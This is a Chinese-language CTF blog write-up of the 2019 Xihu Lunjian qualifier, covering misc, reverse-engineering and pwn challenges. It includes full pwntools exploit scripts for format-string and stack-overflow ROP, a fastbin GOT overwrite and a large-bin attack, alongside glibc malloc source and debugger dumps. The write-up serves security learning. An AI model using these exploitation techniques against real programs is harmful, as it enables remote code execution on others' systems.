23R3F's Blog

2019西湖论剑初赛复现

字数统计: 3.6k阅读时长: 16 min
2019/04/08 Share

本菜鸡在比赛中又被吊锤了,果然还是太菜了,这里主要复现全部pwn题和部分misc、逆向

misc

TTL

百度搜查TTL隐藏信息,查到

img

因此发现,文本里面只有255,127,191,63这几个值,然后,前四位分别是:11,01,10,00

那么把他们提出来

转ASCII:

http://www.txttool.com/wenben_binarystr.asp

img

发现一个头,是个jpg的头,拿去hex生成图片

生成图片以后发现属性

1554701428589

结合着hex里面的东西来分析,肯定是ps打开来以后进行拼接二维码的东西,但是我没装ps没得打开,我就用linux下的foremost给分离出来,得到6个二维码碎片

1554701454972

img

ps拼图,扫码得到一串密文和密钥,猜测是维吉尼亚,换了几个网站去解最后搞出了flag

1554701473677

最短路径

给了一个python的图数据结构,一开始尝试了写算法,生成图表,去找最短路径,然后后面发现浪费了时间,实际上直接用手算列出来就行了,唉,真是多此一举

1554701655254

因为flag肯定是这样开头的:flag{E3 ,结尾则肯定是这样:FloraPrice75D}

两边一起找路径,列出来就对比就搞定了:

flag{E3EvelynJeffersonE9FloraPrice75D}

crackme

一个看起来是apk的东西,实际上就把apk压缩包里面的某个文件夹拖出来,就是一个js游戏,我寻思应该是找js的漏洞,然后改数据拿flag的,但是不会。。。太菜了,等大佬的一手wp吧

pwn

story

简单题,就一个格式化字符串,泄漏个canary,泄漏个libc

1554705882616

然后栈溢出

1554705911004

调用system(/bin/sh)getshell,完事

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./story"
context.binary=bin_elf
elf = ELF(bin_elf)

if sys.argv[1] == "r":
p = remote("ctf1.linkedbyx.com",10015)
libc = elf.libc
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------


ru("Please Tell Your ID:")
sl("%23$p"+"23r3f"+"%25$p")
ru("Hello ")
canary = int(p.recv(18),16)
print "canary",hex(canary)
ru("23r3f")
libc_start_main = int(p.recv(14),16)
print "libc_start_main",hex(libc_start_main)
libc_base = libc_start_main-libc.sym["__libc_start_main"]-240
one =libc_base+0xf02a4
system = libc_base +libc.sym["system"]
binsh = libc_base+libc.search('/bin/sh').next()
pop_rdi =0x0000000000400bd3
print "libc_base",hex(libc_base)

ru("Tell me the size of your story:\n")
sl("666")
ru("You can speak your story:\n")
payload = "a"*0x88+p64(canary)+"b"*8+p64(pop_rdi)+p64(binsh)+p64(system)
sl(payload)
getshell()

noinfoleak

堆漏洞题目,最快的解法是fastbin attack

程序逻辑简单,逆起来很简单

主要有这么几个功能函数

首先是创建chunk的,指定大小(0-127),然后在bss段中的chunk list中存储指针和大小

1554707024805

接着是一个free掉chunk的功能,存在uaf的漏洞

1554707113408

最后就是一个编辑chunk的功能

1554707143225

这里其实存在着任意地址写的隐患,如果chunk list能被控制,那么就能进行任意地址写了

这个就是这题的思路起点

首先来一波fastbin attack,把chunk分配到bss段,然后在bss段上面写got表,这样就能做到改got表

具体利用如下:

  1. 首先分配堆块chunk0,chunk1,chunk2,chunk3
  2. free chunk1,改chunk1的fd为bss段数组地址
  3. 再malloc chunk4,这时chunk4和chunk1是同一个空间
  4. 再次malloc的时候,就会将chunk5分配到bss段中去,由于此时bss+0x08的位置的size刚刚好是构造的0x50,可以绕过检查机制,能分配成功
  5. 构造chunk5的内容为:free_got, puts_got, free_got分别对应chunk1,chunk2,chunk3的指针
  6. edit chunk1的内容为puts的plt,实际上就是进行修改free的got为puts_plt
  7. free chunk2,实际上就是puts(puts_got),泄漏出libc
  8. 再次edit chunk1的内容为system的真实地址,实际上就是进行修改free的got为system
  9. 随便malloc 一个chunk6,内容为“/bin/sh\x00”
  10. free chunk6,即可getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./noinfoleak"
context.binary=bin_elf
elf = ELF(bin_elf)

if sys.argv[1] == "r":
p = remote("ctf2.linkedbyx.com",10926)
#libc = ELF("./libc-2.23.so")
libc = elf.libc
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
def create(length,content):
ru(">")
sl("1")
ru(">")
sl(str(length))
ru(">")
sd(content)
def freee(idx):
ru(">")
sl("2")
ru(">")
sl(str(idx))

def edit(idx,content):
ru(">")
sl("3")
ru(">")
sl(str(idx))
ru(">")
sd(content)

bss = 0x6010A0
create(0x50,"a"*8)#0
create(0x40,"b"*8)#1
create(0x40,"c"*8)#2
create(0x10,'d'*8)#3
#debug()
freee(1)
edit(1,p64(bss))
create(0x40,"a"*8)#4==1
pause()
create(0x40,p64(elf.got['free'])+p64(0x40) + p64(elf.got['puts'])+p64(0x40) + p64(elf.got['free']))#5=0x6010A0
pause()
edit(1,p64(elf.symbols['puts']))#改free的got表为puts的plt,实现泄露
freee(2)#泄露puts的got表
puts_addr = u64(p.recv(6).ljust(8,"\x00"))
print "puts_addr:",hex(puts_addr)
libc_base = puts_addr- libc.sym["puts"]
print "libc_base:",hex(libc_base)
system = libc_base+libc.sym["system"]
binsh = libc_base+libc.search('/bin/sh').next()
print "system:",hex(system)
edit(1,p64(system))#改free的got表为system的真实地址
create(0x10,"/bin/sh\x00")#6
freee(6)

getshell()

storm note

堆漏洞题目,难度高了很多,是large bin attack的利用方式,但其实也找到了相似的题,是2018 0CTF的一个pwn

当时比赛的时候没有搞出来这里好好复现一下吧,还是很不错的一题

首先它保护全开

1554738329304

主要功能有这几个

一、calloc分配chunk,和malloc不一样的地方主要是新分配的时候会清空该空间的内容,设置了两个bss数组,一个存指针,一个存 chunk大小

1554737749732

二、编辑堆块,直接通过数组中存储的指针来进行编辑内容,存在一个off by null的漏洞

1554737878229

三、删除堆块,无明显漏洞点,莫得用UAF

1554737914726

四、后门函数,可以看到,如果能成功调用,就能拿shell了

1554737962406

但是,这里有个对比内容的判断,要使得你的输入和0xabcd0100地址上的内容一样,且判断长度有0x30那么多

这里就得看看0xabcd0100有什么玩意:

1554738065581

可以看到,在初始化的函数中,往0xabcd0100写了0x30个随机数,这就比较麻烦了,莫得预测

另外,还有个麻烦点,mallopt(1, 0)的作用是禁用了fastbin的

看来只能想办法把这个随机数改了,才能调用出后门函数了

综上 ,整理一下已知线索:

  1. 一个off by null漏洞
  2. 莫得泄漏函数
  3. 要做到改0xabcd0100的数据,只能是把chunk分配到那里去了
  4. 莫得用fastbin
  5. 保护全开
  6. 可以分配任意大小的chunk,但是分配的时候内容清空

这题比较特殊,只要能实现任意地址写,把0xabcd0100地址上0x30的内容都改掉,就能拿shell

不需要泄漏

由于fastbin没得用了

这里最主要的操作是通过off by null来去操作large bin attack

首先是通过两次shrink chunk,我们就可以完全控制两个chunk

  1. 控制一个chunk进入large bin,并且构造他的内容

  2. 控制一个chunk进入unsorted bin,并且构造他的内容

来看看具体是怎么实现的

首先进行初始的chunk布局

alloc(0x18) #chunk0
alloc(0x488) #chunk1
alloc(0x18) #chunk2

alloc(0x18) #chunk3
alloc(0x488) #chunk4
alloc(0x18) #chunk5

接着,free chunk1,构造内容,改size为0x400,同时在chunk1里面构造一个fake chunk以通过后面free的时候的检查

接着alloc(0x18) 、alloc(0x3d8),这样一来,原先chunk1就会被切割,且刚刚好切出0x400的空间给新的chunk1,和chunk6

1555221976891

接着,再free掉chunk1,chunk2,此时在free chunk2的时候,会通过pre size寻找上一个chunk ,发现上一个是chunk1且属于free状态,于是合并

合并后再次alloc(0x4a8),这时新的chunk1的空间就会包含了chunk6

也就能通过修改chunk1的内容来构造整个chunk6的内容

接着把chunk6 free掉,改chunk6的size为0x421,这就使得在unsorted bin中的chunk6的size发生了改变

1555222138018

这个时候再alloc(0x518),bins中没有满足的chunk ,于是把chunk6从unsorted bin扔到large bin,同时构造chunk6的内容如图所述

1555222480315

这样,通过这么一次shrink chunk ,控制了一个large bin

同理,继续控制一个unsorted bin

这里不重复多详细描述过程,原理一样的,直接放图了

1555222696342

1555222712447

同样的,就把chunk4这个unsorted bin给控制了,并且把他的内容构造如下

1555222722875

这个时候,我们unsorted bin里面有一个chunk4 ,large bin里面有一个chunk6

1555223454106

他们的内容分别是这样的:

chunk4(unsorted bin)

1
2
3
4
pwndbg> x/10xg 0x557866950510
0x557866950510: 0x0000000000000000 0x0000000000000431
0x557866950520: 0x00000000deadbeef 0x00000000abcd00e0
0x557866950530: 0x0000000000000000 0x0000000000000000

chunk6(large bin)

1
2
3
4
5
pwndbg> x/10xg 0x557866950040
0x557866950040: 0x0000000000000000 0x0000000000000421
0x557866950050: 0x00000000deadbeef 0x00000000abcd00d3
0x557866950060: 0x00000000deadbeef 0x00000000abcd00d8
0x557866950070: 0x0000000000000000 0x0000000000000000

这时候,如果alloc一个0x48,就会触发large bin attack,使得下一个分配的chunk在0xabcd0100的位置

具体是发生什么?

来跟一下,首先alloc一个0x48,unsorted bin里面没有合适的chunk

由于禁用了fastbin,那么这个size会被判断为smallbin

1
2
3
4
5
6
7
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin)
{

源码里面是这样的,可见,由于smallbin里面并没有东西,因此不能进入第二个if了

继续,这时候就来到了把unsorted bin中的空闲chunk解除链接的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
for (;; )
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim);

/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps pr omote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/

if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{

这里很明显不满足bck == unsorted_chunks (av),因此这个if进不去,直接来到这里:

1
2
3
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

因此,根据我们构造的chunk4,也就是victim,则bck = victim->bk,bck就是0x00000000abcd00e0

那么:bck->fd = unsorted_chunks (av)

因此0x00000000abcd00e0+0x10的地方会被填入一个libc的一个地址

继续

1
2
3
4
5
6
7
8
9
10
11
12
/* Take now instead of binning if exact fit */

if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

这时来到了这个地方,判断size和所申请的大小nb是否相同,很明显不同,于是不会进入这个if

接着就来到了把unsorted bin 插入large bin的地方了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;//这个fwd就是chunk6

/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert ((fwd->size & NON_MAIN_ARENA) == 0);
while ((unsigned long) size < fwd->size)
{
fwd = fwd->fd_nextsize;
assert ((fwd->size & NON_MAIN_ARENA) == 0);
}

if ((unsigned long) size == (unsigned long) fwd->size)
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

这里通过各种判断,最终执行了这些语句

1
2
3
4
5
6
7
8
9
10
 victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

从而导致:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//victim:chunk4(unsorted bin)
pwndbg> x/10xg 0x557866950510
0x557866950510: 0x0000000000000000 0x0000000000000431
0x557866950520: 0x00000000deadbeef 0x00000000abcd00d3
0x557866950530: 0x557866950040 0x00000000abcd00d8

//fwd:chunk6(large bin)
pwndbg> x/10xg 0x557866950040
0x557866950040: 0x0000000000000000 0x0000000000000421
0x557866950050: 0x00000000deadbeef 0x557866950510
0x557866950060: 0x00000000deadbeef 0x557866950510
0x557866950070: 0x0000000000000000 0x0000000000000000

//pwndbg> x/10xg 0xabcd00e0
0xabcd00e0: 0x3e5ee5f510000000 0x0000000000000056
0xabcd00f0: 0x00007f988bf7eb78 0x557866950510
0xabcd0100: 0xf1c39df772351132 0x244d6788e3bd535e
0xabcd0110: 0x9f2fb58dd867b525 0xe411a030979482f1

呼~终于写到这里了,这样就导致了一个结果

unsorted bin,里面有个chunk!大小是0x56,刚刚好可以满足0x48的需求,而这个chunk的位置刚刚好就在0xabcd00e0中,直接malloc,就可以改随机数了,由此getshell

这个利用姿势实在是骚,感谢恒叔给出的wp参考,学习了学习了orz

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./Storm_note"
context.binary=bin_elf
elf = ELF(bin_elf)

if sys.argv[1] == "r":
p = remote("ctf1.linkedbyx.com",10194)
libc = ELF("./libc-2.23.so")
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
def create(size):
ru("Choice: ")
sl("1")
ru("size ?\n")
sl(str(size))
def edit(idx,content):
ru("Choice: ")
sl("2")
ru("Index ?\n")
sl(str(idx))
ru("Content: ")
sd(content)
def delete(idx):
ru("Choice: ")
sl("3")
ru("Index ?\n")
sl(str(idx))

addr=0xabcd00e0
create(0x18) #0
create(0x488) #1
create(0x18) #2

create(0x18) #3
create(0x488) #4
create(0x18) #5

edit(1,'\x00'*0x3f0+p64(0x400)+p64(0x21))
#在chunk1中伪造一个pre size为0x400,size为0x21的chunk
delete(1)
edit(0,'a'*0x18)
#改chunk1的size为0x400

create(0x18) #1 这两次分配恰好占据了原先chunk1的0x3f0的空间
create(0x3d8) #6

delete(1)
delete(2)#合并chunk1,2,会导致他们合并,从而可以控制chunk6的所有内容
create(0x4a8)#1

#下面继续构造出一个控制堆块

edit(4,'\x00'*0x3f0+p64(0x400)+p64(0x21))
#在chunk4中构造一个fake chunk
delete(4)
edit(3,'a'*0x18)
#修改chunk4的size为0x400

create(0x18) #2
create(0x3d8) #4 这两次分配恰好占据了原先chunk4的0x3f0的空间

delete(2)
delete(5)#合并chunk2,5,会导致他们合并,从而可以控制chunk4的所有内容
create(0x4a8) #2

edit(1,'\x00'*0x18+p64(0x421)+'\x00'*0x418+p64(0x21)+'\x00'*0x18+p64(0x21))
delete(6)

create(0x518)#5

edit(2,'\x00'*0x18+p64(0x431)+'\x00'*0x428+p64(0x21)+'\x00'*0x18+p64(0x21))
delete(4)
edit(1,'\x00'*0x18+p64(0x421)+p64(0xdeadbeef)+p64(addr-0x10+3)+p64(0xdeadbeef)+p64(addr-8))

edit(2,'\x00'*0x18+p64(0x431)+p64(0xdeadbeef)+p64(addr))
create(0x48) #4
edit(4,'\x00'*0x10+'a'*0x30)

sd('666\n')
ru('If you can open the lock, I will let you in')
sd('a'*0x30)

getshell()

RE

easyCPP

这题c++逆向,看着头皮发麻,但其实可以用angr来跑出结果

脚本如下:跑个大概十分钟就出结果了

1
2
3
4
5
6
7
8
9
10
11
#-*- coding:utf-8 -*-
import angr
def main():
p = angr.Project("./easyCpp")
st = p.factory.entry_state()
sm = p.factory.simgr(st)
sm.explore(find=0x40103c, avoid=0x00401028)
return sm.found[0].posix.dumps(0)

if __name__ == '__main__':
print main()

1554717806962

跑出这么个玩意,分16组,一起输进去,就得到了flag

1554717859040

testre

这个当时在做的时候猜测是base64的变种加密,但是一直没逆出来

没想到其实只是经过变换,变成了base58了而已,甚至拿去在线网站解都分分钟出结果。。。服了

1554718160010

1554718182907

CATALOG
  1. 1. misc
    1. 1.1. TTL
    2. 1.2. 最短路径
    3. 1.3. crackme
  2. 2. pwn
    1. 2.1. story
    2. 2.2. noinfoleak
    3. 2.3. storm note
  3. 3. RE
    1. 3.1. easyCPP
    2. 3.2. testre